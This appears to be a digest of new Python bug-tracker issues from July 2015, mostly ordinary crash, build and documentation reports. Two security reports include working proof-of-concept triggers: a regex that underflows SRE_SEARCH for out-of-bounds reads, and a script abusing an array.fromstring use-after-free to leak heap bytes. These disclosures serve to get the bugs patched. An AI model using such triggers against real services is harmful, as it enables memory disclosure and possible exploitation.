            if (end <= ptr) <<<< A check is performed end is less than or equal to
                                 ptr (which is still start at this point), but no
                                 check is performed to determine if end has been
                                 underflowed to a value greater than ptr.
                end = ptr+1;
        }

        [...]
    }

A script that demonstrates control of Pattern[3] is as follows:

import re
re.search(r"\b((A){304665458})",u"A")

When the script is executed, the min quantifier value ends up in pattern[3] of an SRE_OP_INFO block. The value underflows end, resulting in a large number that satisfies the existing validation. In cases where the regular expression is exposed as attack surface, it may be possible to exploit this vulnerability to scan and read arbitrary memory. This could then potentially be used to disclose secrets and/or bypass mitigations such as ASLR/DEP.

An exception produced by this condition is as follows:

0:000> !analyze -v -nodb
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
python27!sre_uat+b7 [c:\build27\cpython\modules\_sre.c @ 369]
1e010dd7 0fb746fe        movzx   eax,word ptr [esi-2]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 1e010dd7 (python27!sre_uat+0x000000b7)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 01e0f000
Attempt to read from address 01e0f000

CONTEXT:  00000000 -- (.cxr 0x0;r)
eax=01d38518 ebx=0027f8b0 ecx=0027f8b0 edx=01d23eb4 esi=01e0f002 edi=01d3851a
eip=1e010dd7 esp=0027f82c ebp=01f2b010 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010212
python27!sre_uat+0xb7:
1e010dd7 0fb746fe        movzx   eax,word ptr [esi-2]     ds:002b:01e0f000=????

FAULTING_THREAD:  00000518

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:  python.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  01e0f000

READ_ADDRESS:  01e0f000 

FOLLOWUP_IP: 
python27!sre_uat+b7 [c:\build27\cpython\modules\_sre.c @ 369]
1e010dd7 0fb746fe        movzx   eax,word ptr [esi-2]

NTGLOBALFLAG:  70

APPLICATION_VERIFIER_FLAGS:  0

APP:  python.exe

ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ

LAST_CONTROL_TRANSFER:  from 1e0115e8 to 1e010dd7

STACK_TEXT:  
0027f834 1e0115e8 01d23eb4 0027f8b0 01e0f004 python27!sre_uat+0xb7
0027f85c 1e012882 01d23e78 01ddb9f0 00000000 python27!sre_umatch+0x178
0027f888 1e014995 01d23eb4 1e0148b0 01f3ea08 python27!sre_usearch+0x212
0027fc08 1e0aafeb 01d23e78 01ddb9f0 00000000 python27!pattern_search+0xe5
0027fc24 1e0edd10 01f3ea08 01ddb9f0 00000000 python27!PyCFunction_Call+0x5b
0027fc50 1e0f017a 0027fca8 01d9df98 00000001 python27!call_function+0x2b0
0027fcc0 1e0f1150 01f49198 00000000 01dce030 python27!PyEval_EvalFrameEx+0x239a
0027fcf4 1e0ec862 01d9df98 01f49198 00000000 python27!PyEval_EvalCodeEx+0x690
0027fd30 1e0edd87 0027fdb4 00000002 00000000 python27!fast_function+0xe2
0027fd5c 1e0f017a 0027fdb4 01d46b18 01d46b18 python27!call_function+0x327
0027fdcc 1e0f1150 01d74030 00000000 01d46b18 python27!PyEval_EvalFrameEx+0x239a
0027fe00 1e0f11b2 01d46b18 01d74030 01d4aa50 python27!PyEval_EvalCodeEx+0x690
0027fe2c 1e11707a 01d46b18 01d4aa50 01d4aa50 python27!PyEval_EvalCode+0x22
0027fe44 1e1181c5 01e0a3b0 01d4aa50 01d4aa50 python27!run_mod+0x2a
0027fe64 1e118760 68e87408 01f02e63 00000101 python27!PyRun_FileExFlags+0x75
0027fea4 1e1190d9 68e87408 01f02e63 00000001 python27!PyRun_SimpleFileExFlags+0x190
0027fec0 1e038d35 68e87408 01f02e63 00000001 python27!PyRun_AnyFileExFlags+0x59
0027ff3c 1d00116d 00000002 01f02e40 01f01928 python27!Py_Main+0x965
0027ff80 75847c04 7ffde000 75847be0 ba7d18ea python!__tmainCRTStartup+0x10f
0027ff94 77c9b90f 7ffde000 b83a1635 00000000 KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 77c9b8da ffffffff 77c80707 00000000 ntdll!__RtlUserThreadStart+0x2f
0027ffec 00000000 1d001314 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  .cxr 0x0 ; kb

FAULTING_SOURCE_LINE:  c:\build27\cpython\modules\_sre.c

FAULTING_SOURCE_FILE:  c:\build27\cpython\modules\_sre.c

FAULTING_SOURCE_LINE_NUMBER:  369

FAULTING_SOURCE_CODE:  
   365:     case SRE_AT_BOUNDARY:
   366:         if (state->beginning == state->end)
   367:             return 0;
   368:         thatp = ((void*) ptr > state->beginning) ?
>  369:             SRE_IS_WORD((int) ptr[-1]) : 0;
   370:         thisp = ((void*) ptr < state->end) ?
   371:             SRE_IS_WORD((int) ptr[0]) : 0;
   372:         return thisp != thatp;
   373: 
   374:     case SRE_AT_NON_BOUNDARY:


SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  python27!sre_uat+b7

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: python27

IMAGE_NAME:  python27.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  5488ac17

FAILURE_BUCKET_ID:  INVALID_POINTER_READ_c0000005_python27.dll!sre_uat

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_READ_python27!sre_uat+b7

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:invalid_pointer_read_c0000005_python27.dll!sre_uat

FAILURE_ID_HASH:  {a7161322-9fae-40b8-8c7f-dd4ebe6d6b79}

Followup: MachineOwner
---------

To fix this issue, SRE_SEARCH should check end following the subtraction operation to ensure that the value has not underflowed. A proposed patch is attached.

----------
components: Regular Expressions
files: _sre.c.patch
keywords: patch
messages: 246540
nosy: JohnLeitch, ezio.melotti, mrabarnett
priority: normal
severity: normal
status: open
title: SRE_SEARCH Integer Underflow
type: security
versions: Python 2.7
Added file: http://bugs.python.org/file39887/_sre.c.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24602>
_______________________________________

From report at bugs.python.org  Fri Jul 10 11:38:54 2015
From: report at bugs.python.org (Friedrich Spee von Langenfeld)
Date: Fri, 10 Jul 2015 09:38:54 +0000
Subject: [New-bugs-announce] [issue24603] New update of OpenSSL
Message-ID: <1436521134.84.0.691261110341.issue24603@psf.upfronthosting.co.za>


New submission from Friedrich Spee von Langenfeld:

The developers of OpenSSL have published a new update. It fixes a bug marked as severe (https://www.openssl.org/news/secadv_20150709.txt). It seems that we are using a vulnerable version. Could someone who knows the relevant files' locations update our repository? Many thanks in advance.

----------
components: Build
messages: 246552
nosy: Friedrich.Spee.von.Langenfeld
priority: normal
severity: normal
status: open
title: New update of OpenSSL
type: security

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24603>
_______________________________________

From report at bugs.python.org  Fri Jul 10 15:05:13 2015
From: report at bugs.python.org (cbaud)
Date: Fri, 10 Jul 2015 13:05:13 +0000
Subject: [New-bugs-announce] [issue24604] problem to install scipy manually
	on Centos 6
Message-ID: <1436533513.17.0.540190065291.issue24604@psf.upfronthosting.co.za>


New submission from cbaud:

I'm working with the entreprise distribution Centos 6, unfortunatly the package pyhton3 proposed by the package manager yum isn't working. That why I had to install python manually, for that purpose I used pip3. Once again I had a problem with pip tool to install scipy, pip couldn't find blas and lapack.
The error message proposed to specify the location blas and lapack package, but even with that it didn't work. I found the answer on stackoverflow (http://stackoverflow.com/questions/11114225/installing-scipy-and-numpy-using-pip) : you have to install blas-devel and lapack-devel to install scipy with pip3. 
Nothing was scepified on the document, it could help if some comment would be added.

----------
components: Installation
messages: 246558
nosy: cbaud
priority: normal
severity: normal
status: open
title: problem to install scipy manually on Centos 6
versions: Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24604>
_______________________________________

From report at bugs.python.org  Fri Jul 10 15:09:46 2015
From: report at bugs.python.org (josch)
Date: Fri, 10 Jul 2015 13:09:46 +0000
Subject: [New-bugs-announce] [issue24605] segmentation fault at
	asciilib_split_char.lto_priv
Message-ID: <1436533786.75.0.912431898018.issue24605@psf.upfronthosting.co.za>


New submission from josch:

Hi,

sometimes (but not reliably reproducibly, one has to run it a few times) I get a segmentation fault when running the following networkx based Python code on large input graphs: https://gitlab.mister-muffin.de/debian-bootstrap/botch/blob/master/tools/graph-difference.py

I'm running Debian unstable with the python3.4 package of version 3.4.3-7 on architecture amd64.

The core dump is 1GB large so I'm just attaching the traceback from gdb.

The string "hscolour:amd64 (= 1.20.3-2)" that you see in the traceback is one of the vertex attributes in the input graph.

What else do you need to debug the problem?

#0  asciilib_split_char.lto_priv () at ../Objects/stringlib/split.h:126
#1  0x000000000058e65a in asciilib_split (maxcount=<optimized out>, sep_len=1, sep=0x7f1b3088dfb0 ",", str_len=27, 
    str=0x7f1b230abfb0 "hscolour:amd64 (= 1.20.3-2)", str_obj='hscolour:amd64 (= 1.20.3-2)') at ../Objects/stringlib/split.h:158
#2  split (maxcount=<optimized out>, substring=',', self='hscolour:amd64 (= 1.20.3-2)') at ../Objects/unicodeobject.c:10099
#3  unicode_split.lto_priv () at ../Objects/unicodeobject.c:12639
#4  0x000000000050d8fe in call_function (oparg=<optimized out>, pp_stack=0x7ffdf1a8ed80) at ../Python/ceval.c:4237
#5  PyEval_EvalFrameEx () at ../Python/ceval.c:2838
#6  0x00000000005ab095 in PyEval_EvalCodeEx () at ../Python/ceval.c:3588
#7  0x000000000051163d in fast_function (nk=<optimized out>, na=<optimized out>, n=<optimized out>, pp_stack=0x7ffdf1a8ef60, 
    func=<optimized out>) at ../Python/ceval.c:4344
#8  call_function (oparg=<optimized out>, pp_stack=0x7ffdf1a8ef60) at ../Python/ceval.c:4262
#9  PyEval_EvalFrameEx () at ../Python/ceval.c:2838
#10 0x00000000005ab095 in PyEval_EvalCodeEx () at ../Python/ceval.c:3588
#11 0x000000000051163d in fast_function (nk=<optimized out>, na=<optimized out>, n=<optimized out>, pp_stack=0x7ffdf1a8f140, 
    func=<optimized out>) at ../Python/ceval.c:4344
#12 call_function (oparg=<optimized out>, pp_stack=0x7ffdf1a8f140) at ../Python/ceval.c:4262
#13 PyEval_EvalFrameEx () at ../Python/ceval.c:2838
#14 0x00000000005ab095 in PyEval_EvalCodeEx () at ../Python/ceval.c:3588
#15 0x000000000051163d in fast_function (nk=<optimized out>, na=<optimized out>, n=<optimized out>, pp_stack=0x7ffdf1a8f320, 
    func=<optimized out>) at ../Python/ceval.c:4344
#16 call_function (oparg=<optimized out>, pp_stack=0x7ffdf1a8f320) at ../Python/ceval.c:4262
#17 PyEval_EvalFrameEx () at ../Python/ceval.c:2838
#18 0x00000000005ab095 in PyEval_EvalCodeEx () at ../Python/ceval.c:3588
#19 0x00000000005e16a5 in PyEval_EvalCode (
    locals={'__package__': None, '__doc__': None, '__spec__': None, 'sys': <module at remote 0x7f1b309120e8>, 'graph_difference': <function at remote 0x7f1b308ddc80>, '__file__': './tools/graph-difference.py', '__builtins__': <module at remote 0x7f1b31cd2c28>, 'parser': <ArgumentParser(_action_groups=[<_ArgumentGroup(_action_groups=[], _has_negative_number_optionals=[], prefix_chars='-', description=None, _defaults={}, _negative_number_matcher=<_sre.SRE_Pattern at remote 0x7f1b2e002d98>, _registries={'action': {'append': <type at remote 0x2d57a58>, 'store_true': <type at remote 0x2d548a8>, 'store_false': <type at remote 0x2d54da8>, 'help': <type at remote 0x2d58688>, 'count': <type at remote 0x2d58278>, 'append_const': <type at remote 0x2d57e68>, 'store': <type at remote 0x2ded3b8>, None: <type at remote 0x2ded3b8>, 'store_const': <type at remote 0x2d54498>, 'version': <type at remote 0x2d58bb8>, 'parsers': <type at remote 0x2d5df78>}, 'type': {None: <function at remote 0x7f1b2d1f86a8>}}, _group_actions=[<_StoreAction(d...(truncated), 
    globals={'__package__': None, '__doc__': None, '__spec__': None, 'sys': <module at remote 0x7f1b309120e8>, 'graph_difference': <function at remote 0x7f1b308ddc80>, '__file__': './tools/graph-difference.py', '__builtins__': <module at remote 0x7f1b31cd2c28>, 'parser': <ArgumentParser(_action_groups=[<_ArgumentGroup(_action_groups=[], _has_negative_number_optionals=[], prefix_chars='-', description=None, _defaults={}, _negative_number_matcher=<_sre.SRE_Pattern at remote 0x7f1b2e002d98>, _registries={'action': {'append': <type at remote 0x2d57a58>, 'store_true': <type at remote 0x2d548a8>, 'store_false': <type at remote 0x2d54da8>, 'help': <type at remote 0x2d58688>, 'count': <type at remote 0x2d58278>, 'append_const': <type at remote 0x2d57e68>, 'store': <type at remote 0x2ded3b8>, None: <type at remote 0x2ded3b8>, 'store_const': <type at remote 0x2d54498>, 'version': <type at remote 0x2d58bb8>, 'parsers': <type at remote 0x2d5df78>}, 'type': {None: <function at remote 0x7f1b2d1f86a8>}}, _group_actions=[<_StoreAction(d...(truncated), co=<code at remote 0x7f1b307f09c0>) at ../Python/ceval.c:775
#20 run_mod () at ../Python/pythonrun.c:2180
#21 0x00000000005e176a in PyRun_FileExFlags () at ../Python/pythonrun.c:2133
#22 0x00000000005e237a in PyRun_SimpleFileExFlags () at ../Python/pythonrun.c:1606
#23 0x00000000005fdb60 in run_file (p_cf=<optimized out>, filename=<optimized out>, fp=<optimized out>) at ../Modules/main.c:319
#24 Py_Main () at ../Modules/main.c:751
#25 0x00000000004c234f in main () at ../Modules/python.c:69
#26 0x00007f1b30972b45 in __libc_start_main () from /lib/x86_64-linux-gnu/libc.so.6
#27 0x00000000005ba765 in _start ()

----------
messages: 246559
nosy: josch
priority: normal
severity: normal
status: open
title: segmentation fault at asciilib_split_char.lto_priv
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24605>
_______________________________________

From report at bugs.python.org  Fri Jul 10 17:50:22 2015
From: report at bugs.python.org (=?utf-8?q?David_Luke=C5=A1?=)
Date: Fri, 10 Jul 2015 15:50:22 +0000
Subject: [New-bugs-announce] [issue24606] segfault caused by nested calls to
	map()
Message-ID: <1436543422.2.0.294492637485.issue24606@psf.upfronthosting.co.za>


New submission from David Luke?:

The following program makes Python 3.4.3 crash with a segmentation fault:

```
#!/usr/bin/env python3

import operator

N = 500000
l = [0]

for i in range(N):
    l = map(operator.add, l, [1])

print(list(l))
```

I suppose the problem is that there are too many nested lazy calls to map, which cause a segfault when evaluated. I've played with N and surprisingly, the threshold to cause the crash varied slightly (between 130900 and 131000 on my machine).

I know that a list-comprehension, which is evaluated straight away, would be much more idiomatic for repeated element-wise addition (or numpy arrays for that matter, if available). I'm **not advocating this piece of code**, just wondering whether there couldn't be a more informative way to make Python bail out instead of the segfault? (In my real application, it took me a while to figure where the problem was without a stack trace.)

----------
messages: 246567
nosy: David Luke?
priority: normal
severity: normal
status: open
title: segfault caused by nested calls to map()
type: crash
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24606>
_______________________________________

From report at bugs.python.org  Fri Jul 10 20:35:29 2015
From: report at bugs.python.org (Vitali Lovich)
Date: Fri, 10 Jul 2015 18:35:29 +0000
Subject: [New-bugs-announce] [issue24607] standardize sh module
Message-ID: <1436553329.08.0.818798657966.issue24607@psf.upfronthosting.co.za>


New submission from Vitali Lovich:

The subprocess module provides a good foundation of basic functionality.  However, anything moderately complex becomes cumbersome to write.  Additionally, it has pitfalls that people frequently overlook.

People then often either resort to hand-rolling their own abstraction on top of it, use the library incorrectly, or just use shell scripts if the predominant action is to stitch things together.

I have seen great success at avoiding having to write shell-scripts & using the sh package. What once would have been written as shell-scripts now can be written very naturally using sh in a more maintainable & reusable manner.

I think sh being part of the standard library would be a great addition & make python even more compelling as a replacement for shell scripts.  Having sh be part of the python library also ensures that the `with` syntax could be done in a comprehensive thread-safe manner.

https://pypi.python.org/pypi/sh
http://amoffat.github.com/sh

----------
components: Library (Lib)
messages: 246574
nosy: Vitali Lovich
priority: normal
severity: normal
status: open
title: standardize sh module

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24607>
_______________________________________

From report at bugs.python.org  Fri Jul 10 20:37:45 2015
From: report at bugs.python.org (Christophe Biocca)
Date: Fri, 10 Jul 2015 18:37:45 +0000
Subject: [New-bugs-announce] [issue24608] Certain inputs to wave.open()
 result in readframes returning a str instead of bytes
Message-ID: <1436553465.27.0.993319538196.issue24608@psf.upfronthosting.co.za>


New submission from Christophe Biocca:

Basically, some (malformed or empty?) WAV strings result in the empty string being returned when calling readframes.

That string cannot be passed back to writeframes() without causing a crash, since it does not implement the buffer interface.

----------
components: Library (Lib)
files: python_wave_error.py
messages: 246575
nosy: Christophe Biocca
priority: normal
severity: normal
status: open
title: Certain inputs to wave.open() result in readframes returning a str instead of bytes
type: behavior
versions: Python 3.4
Added file: http://bugs.python.org/file39891/python_wave_error.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24608>
_______________________________________

From report at bugs.python.org  Fri Jul 10 23:22:21 2015
From: report at bugs.python.org (Thomas Kluyver)
Date: Fri, 10 Jul 2015 21:22:21 +0000
Subject: [New-bugs-announce] [issue24609] shutil.copytree fails with
 symlinks to directories when symlink=False
Message-ID: <1436563341.03.0.567959413242.issue24609@psf.upfronthosting.co.za>


New submission from Thomas Kluyver:

shutil.copytree behaves differently with symlinks depending on the 'symlinks' parameter. If this is True, symlinks are replicated in the destination. If False, the contents of the targets are copied to the destination.

With symlinks=False, it currently assumes that all symlinks are pointing to regular files. With a symlink to a directory, it tries to copy it using the file copy function, which fails with:

[Errno 21] Is a directory: '/tmp/tmpouavxt1u/link_to_dir'"

The attached patch adds an isdir() check to use copytree instead in that case. A test is also added.

----------
components: Library (Lib)
files: shutil_copytree_symlink_dir.patch
keywords: patch
messages: 246585
nosy: takluyver
priority: normal
severity: normal
status: open
title: shutil.copytree fails with symlinks to directories when symlink=False
versions: Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file39892/shutil_copytree_symlink_dir.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24609>
_______________________________________

From report at bugs.python.org  Sat Jul 11 12:46:49 2015
From: report at bugs.python.org (Chris Angelico)
Date: Sat, 11 Jul 2015 10:46:49 +0000
Subject: [New-bugs-announce] [issue24610] Incorrect example Unicode string
	in docs footnote
Message-ID: <1436611609.77.0.659224194833.issue24610@psf.upfronthosting.co.za>


New submission from Chris Angelico:

https://docs.python.org/3/reference/expressions.html#id18

The string "\u0327\u0043" does not normalize to the same string as "\u00C7", as combining characters are supposed to _follow_ the base character. (Some consoles may happen to display them the same way, but prepend another letter to the string and it's clear that the combining cedilla is attached to that and not to the C.)

Switching the two escape sequences makes the example work. Patch attached.

----------
assignee: docs at python
components: Documentation
files: cedilla_docs.patch
keywords: patch
messages: 246599
nosy: Rosuav, docs at python
priority: normal
severity: normal
status: open
title: Incorrect example Unicode string in docs footnote
versions: Python 3.6
Added file: http://bugs.python.org/file39894/cedilla_docs.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24610>
_______________________________________

From report at bugs.python.org  Sat Jul 11 15:33:07 2015
From: report at bugs.python.org (Ron Barak)
Date: Sat, 11 Jul 2015 13:33:07 +0000
Subject: [New-bugs-announce] [issue24611] Compiling Python 2.7.10 Error on
	Unixware 7.1.4
Message-ID: <1436621587.24.0.649871663437.issue24611@psf.upfronthosting.co.za>


New submission from Ron Barak:

I wanted to add Python 2.7 to Unix.
I downloaded the sources to the VirtualBox on which the Unix is installed and run

./configure --prefix=/usr       \
            --enable-shared     \
            --with-system-expat \

without problems.

However, when I try to run make, it fails on:

cc ?Kpthread ?Wl,-Bexport ?o python Modules/python.o libpython2.7.a -lsocket ?lnsl ?lpthread ?ldl ?lm 

Undefined                       first referenced
symbol                              in file
_PyInt_FromDev                      libpython2.7.a(posixmodule.o)     
UX:ld: ERROR: Symbol referencing errors. No output written to python
*** Error code 1 (bu21)
UX:make: ERROR: fatal error.


Environment:

OS  Unixware 7.1.4
Python   2.7.10
CC  Optimizing C Compilation System (CCS) 4.2 05/11/04 (ux714.bl3af)

----------
components: Build
messages: 246604
nosy: ronbarak
priority: normal
severity: normal
status: open
title: Compiling Python 2.7.10 Error on Unixware 7.1.4
type: compile error
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24611>
_______________________________________

From report at bugs.python.org  Sat Jul 11 17:23:53 2015
From: report at bugs.python.org (candide)
Date: Sat, 11 Jul 2015 15:23:53 +0000
Subject: [New-bugs-announce] [issue24612] not operator expression raising a
	syntax error
Message-ID: <1436628233.38.0.197597566636.issue24612@psf.upfronthosting.co.za>


New submission from candide:

Expressions such as

a + not b
a * not b
+ not b
- not b

raise a SyntaxError, for instance :


>>> 0 + not 0
  File "<stdin>", line 1
    0 + not 0
          ^
SyntaxError: invalid syntax
>>> - not 0
  File "<stdin>", line 1
    - not 0
        ^
SyntaxError: invalid syntax
>>>

if the not expression is wrapped in parenthesis, expected evaluation occurs:


>>> - not 0
  File "<stdin>", line 1
    - not 0
        ^
SyntaxError: invalid syntax
>>> 0 + (not 0)
1
>>> - (not 0)
-1
>>>



The problem has been first submitted in comp.lang.python :

https://groups.google.com/forum/?hl=fr#!topic/comp.lang.python/iZiBs3tcuak


suggesting  a bug report.

----------
components: Interpreter Core
messages: 246606
nosy: candide, serhiy.storchaka
priority: normal
severity: normal
status: open
title: not operator expression raising a syntax error
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24612>
_______________________________________

From report at bugs.python.org  Sun Jul 12 02:32:50 2015
From: report at bugs.python.org (John Leitch)
Date: Sun, 12 Jul 2015 00:32:50 +0000
Subject: [New-bugs-announce] [issue24613] array.fromstring Use After Free
Message-ID: <1436661170.45.0.692345093126.issue24613@psf.upfronthosting.co.za>


New submission from John Leitch:

The Python array.fromstring() method suffers from a use after free caused by unsafe realloc use. The issue is triggered when an array is concatenated to itself via fromstring() call:

static PyObject *
array_fromstring(arrayobject *self, PyObject *args)
{
    char *str;
    Py_ssize_t n;
    int itemsize = self->ob_descr->itemsize;
    if (!PyArg_ParseTuple(args, "s#:fromstring", &str, &n)) <<<< The str buffer is parsed from args. In cases where an array is passed to itself, self->ob_item == str.
        return NULL;
    if (n % itemsize != 0) {
        PyErr_SetString(PyExc_ValueError,
                   "string length not a multiple of item size");
        return NULL;
    }
    n = n / itemsize;
    if (n > 0) {
        char *item = self->ob_item; <<<< If str == self->ob_item, item == str.
        if ((n > PY_SSIZE_T_MAX - Py_SIZE(self)) ||
            ((Py_SIZE(self) + n) > PY_SSIZE_T_MAX / itemsize)) {
                return PyErr_NoMemory();
        }
        PyMem_RESIZE(item, char, (Py_SIZE(self) + n) * itemsize); <<<< A realloc call occurs here with item passed as the ptr argument. Because realloc sometimes calls free(), this means that item may be freed. If item was equal to str, str is now pointing to freed memory.
        if (item == NULL) {
            PyErr_NoMemory();
            return NULL;
        }
        self->ob_item = item;
        Py_SIZE(self) += n;
        self->allocated = Py_SIZE(self);
        memcpy(item + (Py_SIZE(self) - n) * itemsize,
               str, itemsize*n); <<<< If str is dangling at this point, a use after free occurs here.
    }
    Py_INCREF(Py_None);
    return Py_None;
}

In most cases when this occurs, the function behaves as expected; while the dangling str pointer is technically pointing to deallocated memory, given the timing it is highly likely the memory contains the expected data. However, ocassionally, an errant allocation will occur between the realloc and memcpy, leading to unexpected contents in the str buffer.

In applications that expose otherwise innocuous indirect object control of arrays as attack surface, it may be possible for an attacker to trigger the corruption of arrays. This could potentially be exploited to exfiltrate data or achieve privilege escalation, depending on subsequent operations performed using corrupted arrays.

A proof-of-concept follows:

import array
import sys
import random

testNumber = 0

def dump(value):
	global testNumber
	i = 0
	for x in value:
		y = ord(x)
		if (y != 0x41): 
			end = ''.join(value[i:]).index('A' * 0x10)
			sys.stdout.write("%08x a[%08x]: " % (testNumber, i))
			for z in value[i:i+end]: sys.stdout.write(hex(ord(z))[2:])
			sys.stdout.write('\r\n')
			break			
		i += 1

def copyArray():
	global testNumber
	while True:
		a=array.array("c",'A'*random.randint(0x0, 0x10000))
		a.fromstring(a)
		dump(a)
		testNumber += 1
	
print "Starting..."	
copyArray()

The script repeatedly creates randomly sized arrays filled with 0x41, then calls fromstring() and checks the array for corruption. If any is found, the relevant bytes are written to the console as hex. The output should look something like this:

Starting...
00000007 a[00000cdc]: c8684d0b0f54c0
0000001d a[0000f84d]: b03f4f0b8be620
00000027 a[0000119f]: 50724d0b0f54c0
0000004c a[00000e53]: b86b4d0b0f54c0
0000005a a[000001e1]: d8ab4609040620
00000090 a[0000015b]: 9040620104e5f0
0000014d a[000002d6]: 10ec620d8ab460
00000153 a[000000f7]: 9040620104e5f0
0000023c a[00000186]: 50d34c0f8b65a0
00000279 a[000001c3]: d8ab4609040620
000002ee a[00000133]: 9040620104e5f0
000002ff a[00000154]: 9040620104e5f0
0000030f a[00000278]: 10ec620d8ab460
00000368 a[00000181]: 50d34c0f8b65a0
000003b2 a[0000005a]: d0de5f0d05e5f0
000003b5 a[0000021c]: b854d00d3620
00000431 a[000001d8]: d8ab4609040620
0000044b a[000002db]: 10ec620d8ab460
00000461 a[000000de]: 9040620104e5f0
000004fb a[0000232f]: 10f74d0c0ce620
00000510 a[0000014a]: 9040620104e5f0

In some applications, such as those that are web-based, similar circumstances may manifest that would allow for remote exploitation.

To fix the issue, array_fromstring should check if self->ob_item is pointing to the same memory as str, and handle the copy accordingly. A proposed patch is attached.

----------
files: array.fromstring-Use-After-Free.py
messages: 246621
nosy: JohnLeitch
priority: normal
severity: normal
status: open
title: array.fromstring Use After Free
type: security
versions: Python 2.7
Added file: http://bugs.python.org/file39899/array.fromstring-Use-After-Free.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24613>
_______________________________________

From report at bugs.python.org  Sun Jul 12 10:17:10 2015
From: report at bugs.python.org (Julien Maisonneuve)
Date: Sun, 12 Jul 2015 08:17:10 +0000
Subject: [New-bugs-announce] [issue24614] 404 link in Documenting Python,
	Style Guide
Message-ID: <1436689030.66.0.0896590076737.issue24614@psf.upfronthosting.co.za>


New submission from Julien Maisonneuve:

The link to the Apple Publications Style Guide on this page https://docs.python.org/3.0/documenting/style.html lniks to a 404 page on https://developer.apple.com/ (https://developer.apple.com/library/mac/documentation/UserExperience/Conceptual/APStyleGuide/APSG_2008.pdf)

----------
assignee: docs at python
components: Documentation
messages: 246640
nosy: Julien Maisonneuve, docs at python
priority: normal
severity: normal
status: open
title: 404 link in Documenting Python, Style Guide
versions: Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24614>
_______________________________________

From report at bugs.python.org  Sun Jul 12 13:36:55 2015
From: report at bugs.python.org (Ron Barak)
Date: Sun, 12 Jul 2015 11:36:55 +0000
Subject: [New-bugs-announce] [issue24615] 'make install' fails installation
 of man pages for Python 2.7.10 on Unixware 7.1.4
Message-ID: <1436701015.17.0.432641223785.issue24615@psf.upfronthosting.co.za>


New submission from Ron Barak:

I wanted to add Python 2.7 to Unix.
I downloaded the sources to the VirtualBox on which the Unix is installed.

./configure is successful.
make is successful after I manually applied the changes in http://bugs.python.org/issue24611

However, 'make install' fails the installation of man pages (see attached).

(Note that Python 2.7.10 is installed and is accessible as /usr/local/bin/python2.7)


./configure --prefix=/usr       \
            --enable-shared     \
            --with-system-expat \

without problems.

However, when I try to run make, it fails on:

cc ?Kpthread ?Wl,-Bexport ?o python Modules/python.o libpython2.7.a -lsocket ?lnsl ?lpthread ?ldl ?lm 

Undefined                       first referenced
symbol                              in file
_PyInt_FromDev                      libpython2.7.a(posixmodule.o)     
UX:ld: ERROR: Symbol referencing errors. No output written to python
*** Error code 1 (bu21)
UX:make: ERROR: fatal error.


Environment:

OS  Unixware 7.1.4
Python   2.7.10
CC  Optimizing C Compilation System (CCS) 4.2 05/11/04 (ux714.bl3af)

----------
components: Build
files: make_install_fail.PNG
messages: 246646
nosy: ronbarak
priority: normal
severity: normal
status: open
title: 'make install' fails installation of man pages for Python 2.7.10 on Unixware 7.1.4
versions: Python 2.7
Added file: http://bugs.python.org/file39910/make_install_fail.PNG

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24615>
_______________________________________

From report at bugs.python.org  Sun Jul 12 13:45:15 2015
From: report at bugs.python.org (Ron Barak)
Date: Sun, 12 Jul 2015 11:45:15 +0000
Subject: [New-bugs-announce] [issue24616] 'make install' fails installation
 of man pages for Python 2.7.10 on Unixware 7.1.4
Message-ID: <1436701515.32.0.902872028806.issue24616@psf.upfronthosting.co.za>


New submission from Ron Barak:

I wanted to add Python 2.7 to Unix.
I downloaded the sources to the VirtualBox on which the Unix is installed.

./configure is successful.
make is successful after I manually applied the changes in http://bugs.python.org/issue24611

However, 'make install' fails the installation of man pages (see attached).

(Note that Python 2.7.10 is installed and is accessible as /usr/local/bin/python2.7)


Environment:

OS  Unixware 7.1.4
Python   2.7.10
CC  Optimizing C Compilation System (CCS) 4.2 05/11/04 (ux714.bl3af)

----------
